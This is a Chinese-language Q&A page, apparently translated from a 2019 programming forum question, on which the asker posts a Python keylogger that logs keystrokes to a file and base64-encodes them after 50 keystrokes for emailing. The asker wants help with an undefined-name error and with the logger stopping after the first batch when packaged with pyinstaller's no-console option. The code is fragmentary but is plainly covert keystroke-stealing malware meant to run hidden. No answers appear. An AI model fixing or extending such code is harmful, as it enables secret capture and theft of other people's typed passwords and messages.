转换为exe时出现python keylogger错误

时间:2019-03-21 06:44:00

标签: python exe pyinstaller keylogger

只需编写以下用于键盘记录的代码并通过电子邮件发送即可。 我有2个无法解决的问题: 1)我收到错误“名称'事件'未定义” 2)当我使用pyinstaller --onefile时,它运行得很好,并在50次击键后发送电子邮件,但是当我添加-w(无控制台)时,它只会发送前50次击键。

points = 0

with open(file_log,'w+') as f:
        print ""
f.close

def OnKeyboardEvent(event):

global points
points += 1
print points
if event.Ascii==5:
    f=open(file_log,'r+')
    f.close()
    os.remove(file_log)
    sys.exit(0)
if event.Ascii !=0 or 8:
    f=open(file_log,'r+')
    buffer=f.read()
    f.close()
    f=open(file_log,'w+')
    keylogs=chr(event.Ascii)
    #if press ENTER 
    if event.Ascii==13:
        keylogs='\n'  
    if event.Ascii==32:
        keylogs=' '
    buffer+=keylogs
    f.write(buffer)
    f.close()
if points == 50: ## how may letters typed
    points = 0
    fo = open(file_log, "rb")
    filecontent = fo.read()
    encodedcontent = base64.b64encode(filecontent)

0 个答案:

没有答案
相关问题